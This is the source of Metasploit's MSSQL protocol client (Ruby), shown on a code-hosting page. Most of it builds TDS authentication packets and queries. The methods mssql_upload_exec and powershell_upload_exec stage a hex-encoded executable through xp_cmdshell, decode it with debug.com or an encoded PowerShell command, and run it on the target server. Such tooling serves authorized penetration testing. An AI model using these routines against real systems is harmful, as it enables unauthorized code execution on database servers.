Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/rex/proto/mssql/client.rb
19778 views
1
require 'metasploit/framework/tcp/client'
2
require 'metasploit/framework/mssql/tdssslproxy'
3
require 'rex/proto/mssql/client_mixin'
4
require 'rex/text'
5
require 'msf/core/exploit'
6
require 'msf/core/exploit/remote'
7
8
module Rex
9
module Proto
10
module MSSQL
11
class Client
12
include Metasploit::Framework::Tcp::Client
13
include Rex::Proto::MSSQL::ClientMixin
14
include Rex::Text
15
include Msf::Exploit::Remote::MSSQL_COMMANDS
16
include Msf::Exploit::Remote::Udp
17
include Msf::Exploit::Remote::NTLM::Client
18
include Msf::Exploit::Remote::Kerberos::Ticket::Storage
19
include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options
20
21
attr_accessor :tdsencryption
22
attr_accessor :sock
23
attr_accessor :auth
24
attr_accessor :ssl
25
attr_accessor :ssl_version
26
attr_accessor :ssl_verify_mode
27
attr_accessor :ssl_cipher
28
# @!attribute sslkeylogfile
29
# @return [String] The SSL key log file path
30
attr_accessor :sslkeylogfile
31
attr_accessor :proxies
32
attr_accessor :connection_timeout
33
attr_accessor :send_lm
34
attr_accessor :send_ntlm
35
attr_accessor :send_spn
36
attr_accessor :use_lmkey
37
attr_accessor :use_ntlm2_session
38
attr_accessor :use_ntlmv2
39
attr_accessor :windows_authentication
40
attr_reader :framework_module
41
attr_reader :framework
42
# @!attribute max_send_size
43
# @return [Integer] The max size of the data to encapsulate in a single packet
44
attr_accessor :max_send_size
45
# @!attribute send_delay
46
# @return [Integer] The delay between sending packets
47
attr_accessor :send_delay
48
# @!attribute initial_connection_info
49
# @return [Hash] Key-value pairs received from the server during the initial MSSQL connection.
50
# See the spec here: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec
51
attr_accessor :initial_connection_info
52
# @!attribute current_database
53
# @return [String] The database name this client is currently connected to.
54
attr_accessor :current_database
55
56
def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil, sslkeylogfile: nil)
57
@framework_module = framework_module
58
@framework = framework
59
@connection_timeout = framework_module.datastore['ConnectTimeout'] || 30
60
@max_send_size = framework_module.datastore['TCP::max_send_size'] || 0
61
@send_delay = framework_module.datastore['TCP::send_delay'] || 0
62
63
@auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO
64
@hostname = framework_module.datastore['Mssql::Rhostname'] || ''
65
66
@windows_authentication = framework_module.datastore['USE_WINDOWS_AUTHENT'] || false
67
@tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false
68
@hex2binary = framework_module.datastore['HEX2BINARY'] || ''
69
70
@domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || ''
71
@rhost = rhost
72
@rport = rport
73
@proxies = proxies
74
@sslkeylogfile = sslkeylogfile
75
@current_database = ''
76
end
77
78
# MS SQL Server only supports Windows and Linux
79
def map_compile_os_to_platform(server_info)
80
return '' if server_info.blank?
81
82
os_data = server_info.downcase.encode(::Encoding::BINARY)
83
84
if os_data.match?('linux')
85
platform = Msf::Platform::Linux.realname
86
elsif os_data.match?('windows')
87
platform = Msf::Platform::Windows.realname
88
elsif os_data.match?('win')
89
platform = Msf::Platform::Windows.realname
90
else
91
platform = os_data
92
end
93
platform
94
end
95
96
# MS SQL Server currently only supports 64 bit but older installs may be x86
97
def map_compile_arch_to_architecture(server_info)
98
return '' if server_info.blank?
99
100
arch_data = server_info.downcase.encode(::Encoding::BINARY)
101
102
if arch_data.match?('x64')
103
arch = ARCH_X86_64
104
elsif arch_data.match?('x86')
105
arch = ARCH_X86
106
elsif arch_data.match?('64')
107
arch = ARCH_X86_64
108
elsif arch_data.match?('32-bit')
109
arch = ARCH_X86
110
else
111
arch = arch_data
112
end
113
arch
114
end
115
116
# @return [Hash] Detect the platform and architecture of the MSSQL server:
117
# * :arch [String] The server architecture.
118
# * :platform [String] The server platform.
119
def detect_platform_and_arch
120
result = {}
121
122
version_string = query('select @@version')[:rows][0][0]
123
arch = version_string[/\b\d+\.\d+\.\d+\.\d+\s\(([^)]*)\)/, 1] || version_string
124
plat = version_string[/\bon\b\s+(\w+)/, 1] || version_string
125
126
result[:arch] = map_compile_arch_to_architecture(arch)
127
result[:platform] = map_compile_os_to_platform(plat)
128
result
129
end
130
131
#
132
# This method connects to the server over TCP and attempts
133
# to authenticate with the supplied username and password
134
# The global socket is used and left connected after auth
135
#
136
137
def mssql_login(user='sa', pass='', db='', domain_name='')
138
prelogin_data = mssql_prelogin
139
if auth == Msf::Exploit::Remote::AuthOption::KERBEROS
140
idx = 0
141
pkt = ''
142
pkt_hdr = ''
143
pkt_hdr = [
144
TYPE_TDS7_LOGIN, #type
145
STATUS_END_OF_MESSAGE, #status
146
0x0000, #length
147
0x0000, # SPID
148
0x01, # PacketID (unused upon specification
149
# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)
150
0x00 #Window
151
]
152
153
pkt << [
154
0x00000000, # Size
155
0x71000001, # TDS Version
156
0x00000000, # Dummy Size
157
0x00000007, # Version
158
rand(1024+1), # PID
159
0x00000000, # ConnectionID
160
0xe0, # Option Flags 1
161
0x83, # Option Flags 2
162
0x00, # SQL Type Flags
163
0x00, # Reserved Flags
164
0x00000000, # Time Zone
165
0x00000000 # Collation
166
].pack('VVVVVVCCCCVV')
167
168
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
169
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
170
sname = Rex::Text.to_unicode( rhost )
171
framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank?
172
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(
173
host: @domain_controller_rhost,
174
hostname: @hostname,
175
mssql_port: rport,
176
proxies: proxies,
177
realm: domain_name,
178
username: user,
179
password: pass,
180
framework: framework,
181
framework_module: framework_module,
182
ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module)
183
)
184
185
kerberos_result = kerberos_authenticator.authenticate
186
ssp_security_blob = kerberos_result[:security_blob]
187
188
idx = pkt.size + 50 # lengths below
189
190
pkt << [idx, cname.length / 2].pack('vv')
191
idx += cname.length
192
193
pkt << [0, 0].pack('vv') # User length offset must be 0
194
pkt << [0, 0].pack('vv') # Password length offset must be 0
195
196
pkt << [idx, aname.length / 2].pack('vv')
197
idx += aname.length
198
199
pkt << [idx, sname.length / 2].pack('vv')
200
idx += sname.length
201
202
pkt << [0, 0].pack('vv') # unused
203
204
pkt << [idx, aname.length / 2].pack('vv')
205
idx += aname.length
206
207
pkt << [idx, 0].pack('vv') # locales
208
209
pkt << [idx, 0].pack('vv') #db
210
211
# ClientID (should be mac address)
212
pkt << Rex::Text.rand_text(6)
213
214
# SSP
215
pkt << [idx, ssp_security_blob.length].pack('vv')
216
idx += ssp_security_blob.length
217
218
pkt << [idx, 0].pack('vv') # AtchDBFile
219
220
pkt << cname
221
pkt << aname
222
pkt << sname
223
pkt << aname
224
pkt << ssp_security_blob
225
226
# Total packet length
227
pkt[0, 4] = [pkt.length].pack('V')
228
229
pkt_hdr[2] = pkt.length + 8
230
231
pkt = pkt_hdr.pack("CCnnCC") + pkt
232
233
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
234
# has a strange behavior that differs from the specifications
235
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
236
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
237
resp = mssql_send_recv(pkt, 15, false)
238
239
info = {:errors => []}
240
info = mssql_parse_reply(resp, info)
241
self.initial_connection_info = info
242
self.initial_connection_info[:prelogin_data] = prelogin_data
243
244
return false if not info
245
return info[:login_ack] ? true : false
246
elsif auth == Msf::Exploit::Remote::AuthOption::NTLM || windows_authentication
247
idx = 0
248
pkt = ''
249
pkt_hdr = ''
250
pkt_hdr = [
251
TYPE_TDS7_LOGIN, #type
252
STATUS_END_OF_MESSAGE, #status
253
0x0000, #length
254
0x0000, # SPID
255
0x01, # PacketID (unused upon specification
256
# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)
257
0x00 #Window
258
]
259
260
pkt << [
261
0x00000000, # Size
262
0x71000001, # TDS Version
263
0x00000000, # Dummy Size
264
0x00000007, # Version
265
rand(1024+1), # PID
266
0x00000000, # ConnectionID
267
0xe0, # Option Flags 1
268
0x83, # Option Flags 2
269
0x00, # SQL Type Flags
270
0x00, # Reserved Flags
271
0x00000000, # Time Zone
272
0x00000000 # Collation
273
].pack('VVVVVVCCCCVV')
274
275
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
276
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
277
sname = Rex::Text.to_unicode( rhost )
278
dname = Rex::Text.to_unicode( db )
279
280
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
281
282
ntlm_client = ::Net::NTLM::Client.new(
283
user,
284
pass,
285
workstation: workstation_name,
286
domain: domain_name,
287
)
288
type1 = ntlm_client.init_context
289
# SQL 2012, at least, does not support KEY_EXCHANGE
290
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
291
ntlmsspblob = type1.serialize
292
293
idx = pkt.size + 50 # lengths below
294
295
pkt << [idx, cname.length / 2].pack('vv')
296
idx += cname.length
297
298
pkt << [0, 0].pack('vv') # User length offset must be 0
299
pkt << [0, 0].pack('vv') # Password length offset must be 0
300
301
pkt << [idx, aname.length / 2].pack('vv')
302
idx += aname.length
303
304
pkt << [idx, sname.length / 2].pack('vv')
305
idx += sname.length
306
307
pkt << [0, 0].pack('vv') # unused
308
309
pkt << [idx, aname.length / 2].pack('vv')
310
idx += aname.length
311
312
pkt << [idx, 0].pack('vv') # locales
313
314
pkt << [idx, 0].pack('vv') #db
315
316
# ClientID (should be mac address)
317
pkt << Rex::Text.rand_text(6)
318
319
# NTLMSSP
320
pkt << [idx, ntlmsspblob.length].pack('vv')
321
idx += ntlmsspblob.length
322
323
pkt << [idx, 0].pack('vv') # AtchDBFile
324
325
pkt << cname
326
pkt << aname
327
pkt << sname
328
pkt << aname
329
pkt << ntlmsspblob
330
331
# Total packet length
332
pkt[0, 4] = [pkt.length].pack('V')
333
334
pkt_hdr[2] = pkt.length + 8
335
336
pkt = pkt_hdr.pack("CCnnCC") + pkt
337
338
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
339
# has a strange behavior that differs from the specifications
340
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
341
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
342
if tdsencryption == true
343
proxy = TDSSSLProxy.new(sock, sslkeylogfile: sslkeylogfile)
344
proxy.setup_ssl
345
resp = proxy.send_recv(pkt)
346
else
347
resp = mssql_send_recv(pkt, 15, false)
348
end
349
350
# Strip the TDS header
351
resp = resp[3..-1]
352
type3 = ntlm_client.init_context([resp].pack('m'))
353
type3_blob = type3.serialize
354
355
# Create an SSPIMessage
356
idx = 0
357
pkt = ''
358
pkt_hdr = ''
359
pkt_hdr = [
360
TYPE_SSPI_MESSAGE, #type
361
STATUS_END_OF_MESSAGE, #status
362
0x0000, #length
363
0x0000, # SPID
364
0x01, # PacketID
365
0x00 #Window
366
]
367
368
pkt_hdr[2] = type3_blob.length + 8
369
370
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
371
372
if self.tdsencryption == true
373
resp = mssql_ssl_send_recv(pkt, proxy)
374
proxy.cleanup
375
proxy = nil
376
else
377
resp = mssql_send_recv(pkt)
378
end
379
380
#SQL Server Authentication
381
else
382
idx = 0
383
pkt = ''
384
pkt << [
385
0x00000000, # Dummy size
386
387
0x71000001, # TDS Version
388
0x00000000, # Size
389
0x00000007, # Version
390
rand(1024+1), # PID
391
0x00000000, # ConnectionID
392
0xe0, # Option Flags 1
393
0x03, # Option Flags 2
394
0x00, # SQL Type Flags
395
0x00, # Reserved Flags
396
0x00000000, # Time Zone
397
0x00000000 # Collation
398
].pack('VVVVVVCCCCVV')
399
400
401
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
402
uname = Rex::Text.to_unicode( user )
403
pname = mssql_tds_encrypt( pass )
404
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
405
sname = Rex::Text.to_unicode( rhost )
406
dname = Rex::Text.to_unicode( db )
407
408
idx = pkt.size + 50 # lengths below
409
410
pkt << [idx, cname.length / 2].pack('vv')
411
idx += cname.length
412
413
pkt << [idx, uname.length / 2].pack('vv')
414
idx += uname.length
415
416
pkt << [idx, pname.length / 2].pack('vv')
417
idx += pname.length
418
419
pkt << [idx, aname.length / 2].pack('vv')
420
idx += aname.length
421
422
pkt << [idx, sname.length / 2].pack('vv')
423
idx += sname.length
424
425
pkt << [0, 0].pack('vv')
426
427
pkt << [idx, aname.length / 2].pack('vv')
428
idx += aname.length
429
430
pkt << [idx, 0].pack('vv')
431
432
pkt << [idx, dname.length / 2].pack('vv')
433
idx += dname.length
434
435
# The total length has to be embedded twice more here
436
pkt << [
437
0,
438
0,
439
0x12345678,
440
0x12345678
441
].pack('vVVV')
442
443
pkt << cname
444
pkt << uname
445
pkt << pname
446
pkt << aname
447
pkt << sname
448
pkt << aname
449
pkt << dname
450
451
# Total packet length
452
pkt[0, 4] = [pkt.length].pack('V')
453
454
# Embedded packet lengths
455
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
456
457
# Packet header and total length including header
458
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
459
460
if self.tdsencryption == true
461
proxy = TDSSSLProxy.new(sock, sslkeylogfile: sslkeylogfile)
462
proxy.setup_ssl
463
resp = mssql_ssl_send_recv(pkt, proxy)
464
proxy.cleanup
465
proxy = nil
466
else
467
resp = mssql_send_recv(pkt)
468
end
469
470
end
471
472
info = {:errors => []}
473
info = mssql_parse_reply(resp, info)
474
self.initial_connection_info = info
475
self.initial_connection_info[:prelogin_data] = prelogin_data
476
477
return false if not info
478
info[:login_ack] ? true : false
479
end
480
481
#
482
#this method send a prelogin packet and check if encryption is off
483
#
484
def mssql_prelogin(enc_error=false)
485
disconnect if self.sock
486
connect
487
488
pkt = mssql_prelogin_packet
489
490
resp = mssql_send_recv(pkt)
491
492
idx = 0
493
data = parse_prelogin_response(resp)
494
495
unless data[:encryption]
496
framework_module.print_error("Unable to parse encryption req " \
497
"during pre-login, this may not be a MSSQL server")
498
data[:encryption] = ENCRYPT_NOT_SUP
499
end
500
501
##########################################################
502
# Our initial prelogin pkt above said we didnt support
503
# encryption (it's quicker and the default).
504
#
505
# Per the matrix on the following link, SQL Server will
506
# terminate the connection if it does require TLS,
507
# otherwise it will accept an unencrypted session. As
508
# part of this initial response packet, it also returns
509
# ENCRYPT_REQ.
510
#
511
# https://msdn.microsoft.com\
512
# /en-us/library/ee320519(v=sql.105).aspx
513
#
514
##########################################################
515
516
if data[:encryption] == ENCRYPT_REQ
517
# restart prelogin process except that we tell SQL Server
518
# than we are now able to encrypt
519
disconnect if self.sock
520
connect
521
522
# offset 35 is the flag - turn it on
523
pkt[35] = [ENCRYPT_ON].pack('C')
524
self.tdsencryption = true
525
framework_module.print_status("TLS encryption has " \
526
"been enabled based on server response.")
527
528
resp = mssql_send_recv(pkt)
529
data = parse_prelogin_response(resp)
530
531
unless data[:encryption]
532
framework_module.print_error("Unable to parse encryption req " \
533
"during pre-login, this may not be a MSSQL server")
534
data[:encryption] = ENCRYPT_NOT_SUP
535
end
536
end
537
data
538
end
539
540
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
541
tdsproxy.send_recv(req)
542
end
543
544
def query(sqla, doprint=false, opts={})
545
info = { :sql => sqla }
546
opts[:timeout] ||= 15
547
pkts = []
548
idx = 0
549
550
bsize = 4096 - 8
551
chan = 0
552
553
@cnt ||= 0
554
@cnt += 1
555
556
sql = Rex::Text.to_unicode(sqla)
557
while(idx < sql.length)
558
buf = sql[idx, bsize]
559
flg = buf.length < bsize ? "\x01" : "\x00"
560
pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
561
idx += bsize
562
563
end
564
565
resp = mssql_send_recv(pkts.join, opts[:timeout])
566
mssql_parse_reply(resp, info)
567
mssql_print_reply(info) if doprint
568
info
569
end
570
571
def mssql_upload_exec(exe, debug=false)
572
hex = exe.unpack("H*")[0]
573
574
var_bypass = Rex::Text.rand_text_alpha(8)
575
var_payload = Rex::Text.rand_text_alpha(8)
576
577
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
578
print_status("Writing the debug.com loader to the disk...")
579
h2b = File.read(@hex2binary, File.size(@hex2binary))
580
h2b.gsub!('KemneE3N', "%TEMP%\\#{var_bypass}")
581
h2b.split("\n").each do |line|
582
mssql_xpcmdshell("#{line}", false)
583
end
584
585
print_status("Converting the debug script to an executable...")
586
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
587
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
588
589
print_status("Uploading the payload, please be patient...")
590
idx = 0
591
cnt = 500
592
while(idx < hex.length - 1)
593
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
594
idx += cnt
595
end
596
597
print_status("Converting the encoded payload...")
598
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
599
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
600
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
601
602
print_status("Executing the payload...")
603
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
604
end
605
606
def powershell_upload_exec(exe, debug=false)
607
# hex converter
608
hex = exe.unpack("H*")[0]
609
# create random alpha 8 character names
610
#var_bypass = rand_text_alpha(8)
611
var_payload = rand_text_alpha(8)
612
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
613
# our payload converter, grabs a hex file and converts it to binary for us through powershell
614
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
615
h2b_unicode=Rex::Text.to_unicode(h2b)
616
# base64 encode it, this allows us to perform execution through powershell without registry changes
617
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
618
print_status("Uploading the payload #{var_payload}, please be patient...")
619
idx = 0
620
cnt = 500
621
while(idx < hex.length - 1)
622
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
623
idx += cnt
624
end
625
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
626
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
627
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
628
print_status("Executing the payload...")
629
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
630
print_status("Be sure to cleanup #{var_payload}.exe...")
631
end
632
633
# @param [ENVCHANGE] envchange The ENVCHANGE type to get the information for.
634
# @return [Hash] Returns a hash of values if the provided type exists.
635
# @return [Hash] Returns the whole connection info if envchange is nil.
636
# @return [Hash] Returns an empty hash if the provided type is not present.
637
def initial_info_for_envchange(envchange: nil)
638
return self.initial_connection_info if envchange.nil?
639
return nil unless (self.initial_connection_info && self.initial_connection_info.is_a?(::Hash))
640
641
self.initial_connection_info[:envs]&.select { |hash| hash[:type] == envchange }&.first || {}
642
end
643
644
def peerhost
645
rhost
646
end
647
648
def peerport
649
rport
650
end
651
652
def peerinfo
653
"#{peerhost}:#{peerport}"
654
end
655
656
protected
657
658
def rhost
659
@rhost
660
end
661
662
def rport
663
@rport
664
end
665
666
def chost
667
return nil
668
end
669
670
def cport
671
return nil
672
end
673
end
674
675
end
676
end
677
end
678
679